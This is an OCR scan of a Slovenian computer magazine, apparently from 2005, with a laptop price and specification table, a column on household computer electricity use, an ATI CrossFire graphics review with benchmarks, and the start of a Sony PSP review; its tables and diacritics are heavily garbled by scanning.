Mobile siemens.com 3300+ 200 do 128 MB |avdio, IrDa, PCMCIA, 3 v 1 bralnik 3,2 kg Works 8.0
Sempron kartic, S-Video, VGA
3300+
Solo SOLOnote | Avtronic, 293.678 Intel Centrino | 15,1” 256 MB |40 GB SATA-| CDRW nVidia 6600  |modem 56K, LAN 10/100, WLAN 330x 275
(Intel)  |P1559-A |d.o.0. Pentium M 1,6 | SXGA+, DDRII |1505400 |inDVD MXM 128 MB | 802.11 b/g,Firewire, 3x USB 2.0, VGA, |x 32,1740,1
1,6 GHz 1400 x rpm kombiniran | VRAM avdio, avdio opticni, IrDa, PCMCIA,  |mm, 2,8 kg
1050 2 v 1 bralnik kartic, S-Video, VGA,
vzporedni, ExpressCard
Solo SOLOnote | Avtronic, 267.990 Intel Centrino | 15,1” 256 MB |40 GB ATA- | CDRW ATI M11 Radeon| modem 56K, LAN 10/100, WLAN 326 x 270
(Intel) ~ |P1557-6 |d.o.0. Pentium M 1,7 | SXGA+, DDRII 1004200 |inDVD 9700 128 MB  |802.11 b/g,Firewire, 3x USB 2.0, VGA, |x 30 mm,
11 GHz Locljivost rpm kombiniran avdio, avdio opticni, IrDa, PCMCIA,  |2,68 kg
1400 x 2 v 1 bralnik kartic, S-Video, VGA,
1050 vzporedni
Solo SOLOnote | Avtronic, 209.988 Intel Celeron M | 12,1 TFT  |256 MB |40 GB ATA- |CDRW Intel integrirana, | modem 56K, LAN 10/100,Firewire,  |296 x 205
(Intel) ~ |G1851A  |d.o.0. 1,3 GHz LCD, WXGA |DDR 1004200 |in DVD do 64 MB 2x USB 2.0, VGA, avdio, avdio opticni, |x 35 mm,
13 1280 x 800 pm kombiniran IrDa, PCMCIA, bralnik kartic CF, 1,95 kg
S-Video, VGA, vzporedni
Solo SOLOnote | Avtronic, 231.368 Intel Celeron M | 15,1” XGA+ | 256 MB |40 GB SATA-| CDRW Intel 1900 modem 56K, LAN 10/100, WLAN 330x 275
(Intel) ~ |P1558-A |d.o.0. 1,3 GHz 1024 x 768 [DDRII 1505400 |inDVD integrirana PCl- | 802.11 b/g,Firewire, 3x USB 2.0, VGA, |x 32,1740,1
13 rpm kombiniran |ex 64 MB avdio, avdio opticni, IrDa, PCMCIA, mm, 2,8 kg
2 v 1 bralnik kartic, S-Video, VGA,
vzporedni, ExpressCard
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Toshiba | SATELLITE |Inea, d.0.0. | www. 279.990 Intel Pentium M| 15,4” 512 MB |60 GB DVD-RW Intel 915GM do | modem 56K, LAN 10/100, WLAN 365 x 275 x | Windows
M40X-116 toshiba.com procesor 730 | SXGA+ DDR 128 MB 802.11 b/g,Firewire, 3x USB 2.0, VGA, | 30/38 mm, |XP Home
1,6 GHz 1280 x 800 avdio, IrDa, PCMCIA, 6 v 1 brainik 3kg Edition
kartic, S-Video, VGA, vzporedni, iLink
Toshiba | SATELLITE |Inea, d.o.0.| www. 279.990 Intel Pentium M| 15" XGA+ |512MB |60 GB DVD-RW  |Intel 852GM do |modem 56K, LAN 10/100, WLAN 332x270 x |Windows
L10-193 toshiba.com procesor 725 |1024 x 768 |DDR 64 MB 802.11 b/g,Firewire, 3x USB 2.0, VGA, | 28/36 mm, |XP Home
1,6 GHz avdio, IrDa, PCMCIA, 6 v 1 bralnik 2,67 kg Edition
kartic, S-Video, VGA
Toshiba | SATELLITE |Inea, d.o.0.| www. 257.988 Intel Celeron M | 15” XGA+ |256 MB |40 GB CD-RW/DVD | Intel modem 56K, LAN 10/100, 3x USB {338 x 274 x | Windows
A50-106 toshiba.com procesor 340 1024 x 768 |DDR RG82855GM do | 2.0, VGA, avdio, IrDa, PCMCIA 27/38 mm, | XP Home
1,5 GHz 64 MB 2,7 kg Edition
Acer Aspire Avtera, |www. 274.998 AMD Turion | 15,4” 512MB |60 GB 4200 |DVD +/-RW | ATI mobility modem 56K, LAN 10/100/1000, 363 x 278 x| Windows
5022WLMi | d.o.0. acer.com ML30 WXGA Acer |DDR RPM Radeon x600 | WLAN 802.11 b/g, Firewire, 6 v 1 24/32,9 mm, | XP Home
AMD CrystalBrite 64 MB bralnik kartic, 4x USB 2.0, VGA, avdio, | 3,07 kg Edition
Turion IrDa, PCMCIA
Acer Aspire Avtera, |www. 269.988 PentiumM 1,7 |15" XGA  |512MB |60 GB 4200 |DVD +/-RW |ATI Radeon modem 56K, Fast Ethernet, WLAN  |ni podatka, |Microsoft
TravelMate |d.o.o. acer.com GHz 1024 x 768 |DDR RPM X700 Mobility |802.11 b/g, Firewire, 3 v 1 bralnik 2,38 kg Windows
4152LMi 64 MB VRAM  |kartic, 3x USB 2.0, VGA, avdio, IrDa, XP Home
PCMCIA US
Acer Aspire Avtera, |www. 159.990 Intel Celeron  |15” XGA  |256 MB |40 GB 4200 |DVD +/-RW |int. grafikado |modem 56K, LAN 10/100, 3x USB  |364 x279 |Linux
TravelMate |d.o.0. acer.com M 360 (ni 1024 x 768 |DDR RPM 64 MB 2.0, VGA, avdio, IrDa, PCMCIA x33,9/38,9
2312NLM podatka) GHz mm, 2,76 kg
Acer Aspire Avtera, |www. 158.990 Intel Celeron M | 15" XGA ~ |256 MB |40 GB 4200 |DVD/CD-RW |INTEL modem 56K, LAN 10/100, 3x USB {364 x 279 |Linux
Travel d.0.0. acer.com 3401,5GHz |1024 x 768 |DDR RPM EXTREME 2 do |2.0, VGA, avdio, IrDa, PCMCIA x33,9/38,9
Mate 2303 64 MB mm, 2,8 kg
NLC
Acer Aspire Avtera, |www. 149.988 AMD Sempron [15” XGA {256 MB |40 GB 4200 |DVD/CD-RW |Sis769GX do | modem 56K, LAN 10/100, 3x USB {364 x 279 |Linux
TravelMate |d.o.0. acer.com 2800+ 1024 x 768 |DDR RPM 64 MB 2.0, VGA, avdio, IrDa, PCMCIA x33,9/38,9
3002NLC mm, 2,8 kg
Prestigio |Nohile ASBIS, |www. 292.722 Intel Pentium | 15” 1400 |512 MB |60 GB SATA, DVD +/-RW |nVidia GeForce |modem 56K, Fast Ethernet, Intel 2915 |270 x 326
1570 d.0.0. prestigio.si M 1,6 GHz X 1050 DDR2 5400 rpm 6600 Go 128 | A/B/G wi-fi mini PCI, Firewire, 4 v x 30 mm,
SXGA+ MB 1 bralnik kartic, 3x USB 2.0, VGA, 2,8kg
avdio, opti¢ni avdio, IrDa, PCMCIA,
PCl Express
Prestigio |Nohile ASBIS,  |www. 249.900 Intel Pentium | 15” 1024 x |512 MB |40 GB SATA, | DVD +/-RW |Inteli900 PCI | modem 56K, Fast Ethernet, Intel 2915 |270 x 32
1560 d.0.0. prestigio.si M 1,6 GHz 768 XGA  |DDR2 5400 rpm Express do A/B/G wi-fi mini PCI, Firewire, 4v1  |x 327 mm,
64 MB bralnik kartic, 3x USB 2.0, VGA, avdio, |2,7 kg
IrDa, PCMCIA
Prestigio |Visconte |ASBIS,  |www. 249.990 Intel Pentium |12.1” 1280 |512 MB |60GB SATA, [DVD +/-RW |Intel Extreme | modem 56K, 10/100, 3v 1 bralnik 230 x 292
120 d.o.0. prestigio.si M 1,6 GHz X800 DDR2 5400 rpm integ. do 64 MB |kartic,Intel 2200 B/G wi-fi mini PCI,  |x 31,3 mm,
WXGA Firewire, 2x USB 2.0, VGA, avdio, 1,9 kg
opticni avdio, IrDa, PCMCIA
Prestigio |Nobile 150 |ASBIS,  |www. 144.990 Intel Mobile | 15” 1024 x |256 MB |40GB 5400 |DVD/CD-RW |nVidia GeForce |modem 56K, Fast Ethernet, 4x USB  |277 x 326
d.0.0. prestigio.si CeleronM 1,3 |768 XGA  |DDR m 6600 Go 128 | 2.0, VGA, avdio, IrDa, PCMCIA, PCI | x 36 mm,
GHz MB Express 2,7 kg
Packard |EasyNote |Altech, |www. 228.901 Intel Celeron M | zaslon 15,4”| 512 MB |50 GB DVD +/-RW |Intel 852 do | modem 56K, 10/100,Wi-Fi 802.11b/g, |30 x250 | Windows
Bell R4250 d.o.0. packardbell. 350 1,3 GHz  |vrazmerju 64 MB 3 v 1 bralnik kartic, 3x USB 2.0, VGA, |x 355 mm, |XP Home
Power com 16:9 avdio, opticni avdio, IrDa, PCMCIA 2,9kg Edition
Cinema
Comtron |TroNote |Comtron, |www. 254.701 Intel P4-M 740 |15” 1024 x |512MB |60 GB 5400 [DVD +/-RW |ATiM26 X700 |modem 56K, 10/100/1000,Wi-Fi 329x 275 x |ni podatka
M85 CXD |d.o.0. comtron.si 1,73 GHz 740 |768 XGA |DDR2  |rpm 128 MB 802.11b/g, 3 v 1 bralnik kartic, 4x 25-37 mm,
USB 2.0, VGA, avdio, digitalni avdio |31 kg
7.1, IrDa, PCMCIA, vzporedni
Comtron |TroNote  |Comtron, |www. 155.331 Mobilni 1571024 x {256 MB |60 GB 5400 |DVD +/-RW |VIA K8N80O do | modem 56K, 10/100, bralnik kartic, 329 x275 |ni podatka
A45-SXC  |d.0.0. comtron.si Sempron 768 XGA | DDR pm 64 MB 2x USB 2.0, VGA, avdio, digitalni avdio | x 36,5 mm,
2800+ 5.1, IrDa, PCMCIA, vzporedni 3,1kg
Comtron |TroNote |Comtron, |www. 169.653 Intel Celeronu | 15" 1024 x |512 MB |60 GB 5400 | DVD +/-RW |Intel 852GM | modem 56K, 10/100/1000,Firewire, {328 x 288 x |ni podatka
M45-CXD | d.o.0. comtron.si M 1,5 GHz 768 XGA | DDR2 pm bralnik kartic, 4x USB 2.0, VGA, avdio, | 27 - 38 mm,
IrDa, PCMCIA, vzporedni 2,75 kg
Comiron |TroNote |Comtron, |www. 293.902 Intel 15.0” 512MB |60 GB 5400 |DVD +/-RW |ATi M26 X700 |modem 56K, 10/100/1000,Wi-Fi 329x 275 x |ni podatka
M85Plus- | d.o.0. comtron.si Pentium M SXGA+ DDR2  |rpm 128 MB 802.11b/g, 3 v 1 bralnik kartic, 4x 25-37 mm,
GSD 1400x1050 USB 2.0, VGA, avdio, digitalni avdio | 3,1 kg
7.1, IrDa, PCMCIA, vzporedni
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Comtron |TroNote |Comtron, |[www. 277101 Intel Pentium | 15,4 WXGA| 512 MB |60 GB 5400 |DVD +/-RW | ATi Mobility modem 56K, 10/100/1000,Wi-Fi 360x273 |ni podatka
T95-CWD |d.o.0. comtron.si 4M 73517 |1280x800 DDR2  |rpm Radeon 9700 |802.11b/g, 3 v 1 bralnik kartic, 3x ~ |x 29,5 mm,
GHz USB 2.0, VGA, avdio, digitalni avdio  |3,15 kg
5.1, IrDa, PCMCIA
Comiron |TroNote | Comtron, |www. 225.301 Intel Pentium |15” XGA  |512MB |60 GB 5400 |DVD +/-RW | ATi Mobility modem 56K, 10/100,Wi-Fi 802.11b/g, |329x 275 |ni podatka
T65-CXD | d.o.0. comtron.si 4M 73517 |1024x768 |DDR2  |rpm Radeon 9700 |4 v 1 bralnik kartic, 3x USB 2.0, VGA, |x 25 mm,
GHz avdio, digitalni avdio 5.1, IrDa, PCMCIA| 3,1 kg
Comtron |TroNote | Comtron, |www. 205.702 AMD Athlon 64{15” XGA  |512MB |60 GB 5400 |DVD +/-RW |VIAKBN800 |modem 56K, 10/100, bralnik kartic, |329x275 |ni podatka
A75-AXD |d.o0.0. comtron.si 3000+ Mobile 1024 x 768 |[DDR2  |rpm 2x USB 2.0, VGA, avdio, digitalni avdio | x 36,5 mm,
5.1, IrDa, PCMCIA 31 kg
NEC Versa G160 | Acord 92, |www. 264.467 Mobile AMD 15" XGA  |256 MB |40 GB DVD/ CD-  |integrirana, do |modem 56K, 10/100, Firewire 3x USB |330x 268 |ni podatka
d.0.0. nec.com AthlonTM XP-M| 1024 x 768 |DDR RW 32 MB 2.0, VGA, avdio, IrDa, PCMCIA X 35 mm,
2200+ 2,9kg
DELL  |Latitude |Aldea, WWW. 214.560 Intel Pentium | 15" XGA  |256 MB |60 GB 5400 [DVD/CDRW |Direct AGP 2 x USB 2.0, WLAN 802.11b/g, ni natan¢nih | ni podatka
100L d.0.0. dell.com 4 mobile 2,8 |1024 x 768 |DDR pm Video 64 MB | modem, 10/100, 2 x USB 2.0, avdio, |podatkov
GHz DDR VGA, za ostalo ni natan¢nih podatkov
DELL  |Latitude |Aldea, WWW. 179.880 Intel Celeron M | 15" XGA  |256 MB |40 GB 5400 | DVD/CDRW |Intel 910GML |3 x USB 2.0, WLAN 802.11b/g, 37,2 x 330
110L d.0.0. dell.com -1,3 GHz 1024 x 768 |DDR rpm modem, 10/100, 2 x USB 2.0, X 268 mm;
PCMCIA, avdio, VGA, za ostalo ni 2,96 kg
natancnih podatkov
Gericom |Belagio | Anni, d.o.0.| www. 159.900 Intel Celeron M | 15" XGA ~ |256 MB |40 GB DVD +/-RW | Intel Extreme do | TV-izhod, 4 x USB2.0, drsna plos€ica, |nipodatka | Linux
gericom.com 1,4 GHz 1024 x 768 |DDR 64 MB VGA-izhod,PCMCIA Type II, 10/100,
modem, (darilo WLAN PCMCIA
kartica)
Gericom |Ego Anni, d.0.0. www. 159.900 Intel Pentium |15” XGA  |512MB |60 GB DVD +/-RW | ATl Radeon PCMCIA Type II, TV-izhod, 3x USB,  |32x330  |Windows
gericom.com M Centrino 1,5 | 1024 x 768 |DDR mobility 9700 | FireWire IEE 1394, vzporedna vrata, |x 280 mm, | XP Home
GHz 64MB Citalec spominskih kartic 4v1, 10/100, | 2,6 kg Edition
modem, WLAN 2100 3B mini SLO
Gericom | Excellent | Anni, d.0.0. www. 179.990 Intel Pentium | 15,1 XGA |512MB |60 GB DVD +/-RW | Intel 82852 PCMCIA Type II, TV-izhod, 3x USB, |39 x 345
gericom.com M Centrino 1,5 {1024 x 768 | DDR Share 64MB | VGA-izhod, FireWire IEEE 1394, Citalec|x 282 mm,
GHz spominskih kartic, 10/100, modem, |3 kg
WLAN 2100 3B mini
Gericom | Overdose | Anni, d.0.0.| www. 156.900 Intel Celeron | 15,1” XGA |512 MB |40 GB DVD/CD-RW | SIS do 64 MB | TV-izhod, 4x USB, vzporedna vrata, |39 x 345
gericom.com 1,5 GHz 1024 x 768 |DDR VGA-izhod,10/100, modem X 282 mm,
3,3 kg
Gerynote | Mobility XL | Geri WWW. 209.900 Mobilni Intel | 15,1” XGA | 512 40GBtrdi | DVD- DVTM do 128  |TV-izhod, VGA, 4x USB 2.0, 56K 323x 270
1440 Computer | gericomp-slo. Celeron M 1,4 {1024 x 768 |DDR-Ram |disk 5400 |zapisovalnik |MB modem V.90, 10/100 Mb omrezna x 30 mm,
d.n.o. com GHz 11533  |rpm8MB  |8x kartica, avdio, PCMCIA, FireWire, 4 v 2,5 kg
MHz 1 bralnik kartic
Twinhead |Efio 121i | Geri WWW. 179.900 Intel Celeron | 12”1024 x | 256 MB |40 GB CDRW/DVD |ni podatka intel WLAN b+g, VGA, 3x USB 2.0,  |220x200 |Microsoft
Computer |twinhead. M360 1,4 GHz | 768 DDR Combo modem, 10/100, avdio, PCMCIA x33mm, | Windows
d.n.o. com 1,95 kg XP Home
angl.
Twinhead | Durabook | Geri WWW. 299.900 Intel Celeron M | 15" 1024 x |512MB |60 GB DVD-RW | ATI Radeon mini PCI Wlan, S-Video, VGA, modem, |330x 300 | Microsoft
15BL Computer, |twinhead. 1,4 GHz 768 DDR dvoslojni 9700 Mobile 64 |10/100, 3x USB 2.0, avdio, PCMCIA, |x 33 mm, | Windows
d.n.o. com MB DDR Firewire 3kg XP Home
angl.
Twinhead | Efio 12K64 | Geri WWW. 299.900 AMDMT-32 12”1024 x |512MB |60 GB DVD-RW | ATI Radeon Intel Wlan 802.11b/g, VGA, modem, {280 x 220 x | Microsoft
Turion Computer, |twinhead. (1,8 GHz, 25w)| 768 DDR dvoslojni | 9700 Mobile 64 {10/100, 3x USB 2.0, avdio, PCMCIA |3 (nepopoln | Windows
d.n.o. com 64 bit MB DDR podatek) | XP Home
mm, 1.9kg |angl.
Twinhead | efio i12BL | Geri WWW. 239.900 Intel Celeron M | 12" 1024 x |512 MB |40 GB DVD- ni podatka PS2, S-Video, VGA, modem, 10/100, |300x200 |Microsoft
Computer |twinhead. 1,5 GHz 768 DDR zapisovalnik 3x USB 2.0, avdio, PCMCIA, IrDa x25mm,  |Windows
d.n.o. com 1,9 kg XP Home
angl.
Twinhead | Efio 12K64 | Geri WWW. 265.000 AMD Turion  |12” 1024 x |512MB |40 GB kombiniran | ATI Radeon Intel Wian 802.11b/g, VGA, S-Video, |225x200 |Microsoft
Turion Computer, | twinhead. MT-28 768 DDR 9700 Mobile 64 |modem, 10/100, 3(?)x USB 2.0, avdio, | x 20 mm, | Windows
d.n.o. com MB DDR PCMCIA, IrDa 2 kg XP Home
angl.

*V tabeli so le prenosniki do 300.000 SIT.
** Zaradi kopice izvedenk istega modela je nemogoce natan¢no napisati, katere prikljucke ima prenosnik in ali ima disketni pogon. Tega vecina trgovcev med podatki ne navaja.
*** Zaradi kopice izvedenk modelov z malo razlikami so v tabeli le nekateri predstavniki
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STROJNA OPREMA

"

UREJA: JAKA MELE jaka.mele@mojmikro.si

Najdragja
komponenta
racunalnistva

red nekaj dnewi nas je obiskal delavec Elektra
P( pane zato, da bi kaj povedal cez mojo

kolumno — ugotavljam, da je razmisljanje
tipa »Ce se delam, da nekoga ne opazim, potem
kmalu tudi on ne bo ve& opazi mene«, kar gladko
oznacujem za ignoranco, v Sloveniji ocitno postal
nacin fivljenja tudi zunaj politicnih krogov), da bi
odcital Stevec in preveril stanje. Preteklo leto smo
namre placali vec kot 150 tisoéakov poracuna, letos
pa na§ pavialni mesecni znesek wmasa 16 tisocakov.
To za hi3o z dvema gospodinjstvoma niti ni tako
veliko, a Sokirala me je izjava usluzbenca Elektra, &e§
da bi morali, & bi bilo zdajle konec leta, %e placati
60 tisocakov novega poracuna. Madona! Zaceli smo
racunati in razmisljati, primerjati obstojece stanje s
stanjem iz sosednjih his, stanovanj ... Pa vendar me
je zaskrbelo, da morda krivec nisem jaz, sqaj je poleg
enega sicer starejSega racunalnika, v katerem 24 ur
na dan te¢e Linux, rabi pa kot ADSL-usmerjevalnik,
pogarni zid ter datotecni in postni stre¥nik, skoraj
neprestano vklopljena tudi moja »moéna« masina,
ob&asno pa Se kak tretji racunalnik ali prenosnik.
Letos sem stanje sicer izboljSal x nalofbo v LCD-
zaslon, kjer sem privaréeval takojsnjo razliko v
porabi 80 W, a stanje je vseeno zaskrbljujoce. Kar
predstavljajte si: napajalnik sodobnega racunalnika
je v povpredju pripravljen na mo¢ 400 W, od tega jih
100 W #re mocnejsi sodobni procesor, da dvojedrnih
niti ne omenjamo. Med 80 in 100 jih %re dodatno
vsaka graficna kartica — spet imamo v mocnejsih
konfiguracijah lahko dve. Nato 19- do 21-paléni
CRT-monitor s porabo med 90 in 140 W, LCD pa
med 50 in 60 W. Z enim mocnim racunalnikom g
velikim zaslonom, ki je vklopljen glavnino dneva,
ter x drugim povprecnim brez zaslona, ki deluje 24
ur dnewno, ter Se x nekaj periferije, kot so ADSL-
modem, telefoni, stikala in druga komunikacijska
oprema, se kmalu priblifamo porabi 1 kW, kar po
pouprecni ceni elektrike pomeni strosek cex 500
tolarjev na dan. Pomnogimo to s 30 in dobimo
Stevilko 17 tisocakow!!!

Zdaj pa si predstavljajte podatkovne ali
racunalniske centre, kjer Se mocnejsi stroji ali kar
njihovi grozdi delujejo Stirindvajset ur dnevno. Kaj
hitro bom razumel, zakaj proizvajalci procesorjew,
graficnih kartic in celotnih racunalnikow ter delovnih
postaj in streznikov tako glasno poveli¢ujejo vsakih
nekaj deset privarevanih vatov v svojem novem
modelu. Pomnoite to z nekaj deset ali sto tisoc,
kolikor jih je v vejem kraju, mestu ali pa v ameriski
korporaciji, in na drgavni ravni nekaj hidroelektrarn
ali celo nuklearka hitro postane odve¢. W
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ATI CrossFire  ekskluzivni prvi test v Sloveniji

V NAVZKRIZNEM OGNJU

Kot prvi in edini v Sloveniji smo dobili priloznost preizkusiti AT-jev najnovejSi izdelek
CrossFire! Dobili smo celoten sistem maticno plosco Radeon Xpress 200 CrossFire,
na kateri se bohoti nov vezni nabor IXP450, ter dve graficni kartici, ki omogocata

medsebojno navezo! Komponente prihajajo na prodajne police, zato
smo preverili, kako se odrezejo v kruti realnosti. Ali menite, da je

Nvidia 7800 GTX ogrozena?

PiSe: Jaka Mele
jaka.mele@mojmikro.si

A\ "4

ivimo v letu, v katerem je Nvidia nadvlada-

la konkurenco v svetu hitre grafike. Nvidia

je namre€ po letih izmeni¢nega mesarjenja

z ATl-jem tako rekot z ukano prevzela gra-
fi¢no krono, saj je namesto izdelave »dokonéno«
boljsega grafi¢nega procesorja enostavno vstopila
v vzporedno grafi¢no procesiranje in s povezavo
dveh grafi¢nih kartic skupno dosegla skoraj dva-
krat boljsi rezultat! Ceprav je bila resitev sprva
na voljo le v vi§jem cenovnem razredu, je Nvidia
s svojo resitvijo SLI opremila tudi grafi¢ne karti-
ce v srednjem cenovnem razredu, dodatno pa je
sluila mastne denarce $e kot (edini) prodajalec
veznih naborov za podporo SLI izdelovalcem
mati¢nih plos¢. Ideja in tehnologija vzporedne-
ga procesiranja v grafi¢nem svetu nista novi, saj
ju je Ze pred dobrimi petimi leti v potro$niskem
segmentu izvajal takrat nepremagljivi 3Dfx (ki
ga je pozneje kupila prav Nvidia in z njim prigla
tudi do te tehnologije). Zanimivo je da ima tudi
ATI %e dolgoletne izkusnje s paralelizmom, a le v
industrijskem delu grafi¢nega sveta, kjer ima kar
nekaj referenc s sistemi s po 128 in ve¢ vzporedno
delujogimi grafi¢nimi procesorji, predvsem za na-
mene vojaskih simulacij.

RAZLIKE V PRISTOPU

Ce pogledamo zgolj tehnolosko, je Nvidiin
pristop SLI dokaj omejen, saj za delovanje po-
trebujemo identi¢ni grafi¢ni kartici (isti model,
isti proizvajalec), prav tako pa mora biti 3D-apli-
kacija (igra) prilagojena (popravljena) za izkoris-
&anje visje zmogljivosti (kar pa se da izvesti tudi
v grafi¢nem gonilniku, &e razvijalec igre tega ne
bi hotel podpreti znotraj aplikacije same). Nvi-
diin vezni nabor SLI na mati¢ne plo3ce sicer pri-
nasa dve razsiritveni re#i PCI Express, vendar le
ena deluje s polno prepustnostjo 16x, medtem
ko je druga omejena na le 4x. ATI-jev pristop je
veliko bolj spros¢en in oba kanala PCI uporab-

=

ljata za prenos
podatkov  polno
Sirino enakovredno
8x. Zaradi omejene komu-

nikacijske poti prek PCI Expressa Nvidiina regi-
tev SLI zahteva $e strojno povezavo med obema
grafi¢nima karticama, kar je v ve&ini primerov
izvedeno s »hd&erinsko« kartico, mosti¢kom,
ki povezuje obe grafiki. ATI CrossFire tega ne
potrebuje, a ima za to povezavo izvedeno zunaj
Skatle — poseben tritotkovni kabel povezuje obe
kartici in se kona v tretjem kraku, kjer je pri-
kljutek, na katerega pritrdimo monitor. Ker gre
za povezave med digitalnimi vmesniki, ne priha-
ja do motenj in slabitve signala, prednosti pa so
v porazdeljenem procesiranju med obema kar-
ticama, kar se pozna pri vi§ji kakovostih mo¥ne-
ga meh&anja in razli¢nih mo#nostih sodelovanja
(pol-pol, $ahovnica, izmeni¢ni okvir) ...

MATICNA PLOSGA

ATI ponuja dve vrsti veznega nabora in s tem
dva tipa mati¢ne plos¢e Xpress 200. Prva z ozna-
ko P na koncu je identi¢na preizkugeni, druga,
brez dodatne oznake, pa ima integrirano gra-
fiko. Ta bo omogo&ala nekajkrat visje grafi¢ne
zmogljivosti, kot jih ponujajo klasi¢ne (Intelo-
ve) integrirane grafi¢ne reSitve — po pri¢akova-
njih pa bo na ravni prihajajo¢e Nvidiine resitve
nForce 400. Oba tipa naborov sta na voljo tako
za AMD-jeve kot Intelove platforme, kar je veli-
ka prednost, ki jo je Nvidia izkoristila dokaj po-
zno (3ele v zadnjih mesecih).

Seveda je logi¢no, da se je ATI ob snovanju vez-
nega nabora Xpress 200 moral potruditi in iz osno-
ve iztisniti najve. Nikakor se namrec ne bi pocutili
dobro v koi, kjer bi se njihova nova osnova, pred-
stavljena pol leta po Nvidii nForce 4 Sli, v prakti¢-



nih sistemskih testih zmogljivosti odrezala slabse.
Tudi sami smo preizkusili obe osnovi in ugotovili,
da so rezultati prakti¢no identi¢ni — kar je Se en do-
kaz, da se je nVidia z naborom nForce 4 resni¢no
potrudila in dokazala svojo podkovanost tudi na
tem podro&ju. Xpress 200 na isti osnovi in z istimi
komponentami namre& dosega ni¢ kaj odstopajoce
rezultate, ki so za 20 promilov (0,2 odstotka) boljsi
od nForce 4 SLI! (Test PCmark 2005)
PreizkuSena mati¢na plo§¢a se ponasa Se s Se-
stimi priklopi SATA, ethernetom in 6.1-zvo¢nim
krmilnikom, USB-jem, firewireom in dvokanal-
nim pomnilnigkim krmilnikom. Ni¢ novega to-
rej, hkrati pa ni¢ pogre$enega. Na ju¥nem mostu
je pasivni hladilnik, na severnem pa majhen
ventilator, ki utegne s¢asoma postati glasen.

GRAFIKA
Par kartic na arhitekturi X850 XT se na zunaj
loi le, &e pogledamo na zadnjo stran s prikljucki

neposredni primerjavi med karticama X850 XT
CrossFire in GeForce 6800 Ultra SLI v ve&ini
testov in iger ATI prehiteva za 5-10 odstotkov,
kar je lep dose¥ek! Testi potrjujejo , da je ATI
CrossFire najboljse vzporedno procesiranje v
grafi¢nem svetu. Treba je vedeti, da je CrossFire
zgolj odgovor na SLI in $e ne napada Nvidiino
novo generacijo grafike 7800 GTX ...

SKLEP

Velja priznati, da je ATI-ju uspelo Se pred nekaj
meseci zgolj »papirno tehnologijo« spraviti v od-
li¢no delujot izdelek, ki prinasa prednosti super
mehéanja (celozaslonsko 12x in 16x anizotropno
filtriranje) ter zmo¥nosti povezave dveh razli¢nih
kartic X800 ali boljsih (edina zahteva je pove-
zava dveh enakih modelov, torej X800 z X850
ne gre, ter enaka koli¢ina video pomnilnika)! O
prevzemu grafi¢ne krone pa je $e prezgodaj govo-
riti. Verjamemo, da ima tudi Nvidia, ki je imela

Model nVidia GeForce 7800GTX Radeon X850 XT nVidia GeForce 6800 Ultra

Frekvenca jedra 430 MHz 550 MHz 400 MHz
Cevovodi za pike 24 16 16

Senéniki modelov 8 6 6

Tip pomnilnika GDDR3 GDDR3 GDDR3

Velikost pomnilnika 256 MB 256 MB 256 MB
Frekvenca pomnilnika 600 (1200 MHz) 560 (1120) MHz 500 (1000) MHz
Sirina vodila 256-hitna 256-bitna 256-bitna
Priporoéena cena 599 USD 499 USD 499 USD

Tabela 1: Razlike med karticami GeForce 7800 GTX, konkurencno ATI X800 XT in predhodnico GeForce 6800 Ulira.

X850 XT
CrossFire MB
21133 12.874

3D Mark 2003

15.186

X850 XT, 256 GF7800GTX,  SLI
256 MB

GF6800 Ultra,  SLI
256 MB

29.583 12.183 20.594

3D Mark 2005

9978 6057 7829

11.242 5871 9132

Tabela 2: Testiranje s programom 3Dmark 2005. Rezultat je indeksni, vecja Stevilka pomeni holjSi rezultat.
Platforma Intel: mati¢na ploS¢a Intel 925X, procesor Intel Pentium 4 3,6 GHz, 1024 GB DDR2-566 MHz.
Platforma AMD: maticna ploséa ATI Xpress200, procesor AMD Athlon 64 3700+, 1024 DDR 400.

(konektorji). Kartica X850 XT CrossFire (ma-
ster) ima namre¢ le en DVI-izhod ter poseben,
doslej neznan prikljucek z 59 kontakti. Vanj
priklju¢imo povezovalni kabel, ki gre v DVI-pri-
kljuek obi¢ajne X850XT (suZen;j) ter so¢asno Se
v tretji krak kabla, kjer je prikljucek za zaslon.
Sicer je na tej kartici viden tudi poseben &ip, ki
prevzame funkcijo sestavljanja slike. Obe kartici
potrebujeta klasi¢no dodatno napajanje, venti-
lator oz. hladilno telo pa zavzema dve re#i. S tem
po namestitvi v plod¢i ostane prostor le Se za pri-
klop ene PCl-naprave.

Opremljeni s kartico X850 XT CrossFire
Edition in dodatno X850 XT smo izvedli tudi
standardni nabor testov in preverili, kako ATI
konkurira %e uveljavljeni reSitvi Nvidia SLI. V

od predstavitve 7800GTX kar tri mesece Casa za
priprave na dan R (520), e skrite zaloge (beri:
7800 Ultra). R520 naj bi imel tehnologko gle-
dano 32 cevovodov, in e je verjeti govoricam,
naj bi jih pri ATI-ju %e takoj od zagetka namesto
predvidenih 24 aktivirali le, e bo konkurenca v
tistem trenutku premo¢na. Prepri¢ani smo, da se
bo R520 pokazal z 32 cevovodi.

Vse bo jasno zacetek oktobra, ko bo ATI na
Ibizi predstavil svoj novi biser, »slavni« R520,
imenovan tudi Fudo. Tam bomo za vas tudi mi.
Do izida revije bomo ¥e nazaj, tako da vas vabim
na spletne strani www.mojmikro.si, kjer si boste
ob branju teh vrstic lahko tudi %e prebrali prve
vtise 0 R520, katerega test lahko v Sloveniji naj-
prej pricakujte v Mojem mikru! B
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PREIZKUSILI SMO ...

igralna konzola

Sony PSP

Razmerje cena/kakovost: HEEEEENNEN
Informacije: Bofex, d.o.o., Ljubljana

Spletni naslov: www.sony.com

Cena: 59.990 SIT

Procesor: Sony PSP CPU, 333 MHz

Pomnilnik: 32 MB

Zaslon: 480 x 272 pik, TFT LCD 4,3, 16,77 milijona
barv

Razsiritvene reze: Pogon UMD, MemoryStick Duo Pro
Funkeije: Igre, MP3- in video predvajalnik, spletni
brskalnik

Vmesniki: Wi-Fi 802.11b, Infrardec¢

Programska oprema: Sony PSP 0S

Velikost: 170 x 74 x 29 mm

Teza: 280 g

ZA: Kdo e ni slizal za kralja igralnih konzol
— Sonyjev PlayStation? Od leto$njega poletja pa
je na trgu tudi nova prenosna igralna konzola
PlayStation Portable, PSP. Novinec se spus¢a
na nov trini segment, ki so mu v preteklih le-
tih kraljevale ro¢ne konzole Nintendo in Sega,
desetletja nazaj pa preproste video igrice. In ce
so bile zanimive takrat, zakaj ne bi bile danes?
Seveda je tehnoloski preskok neverjeten. Glavni
podatkovni kanal za PSP je pogon UMD. Gre
za Sonyjevo pogruntavi¢ino, kar trenutno dru-
gim onemogoda razvoj zdruzljive strojne opreme,
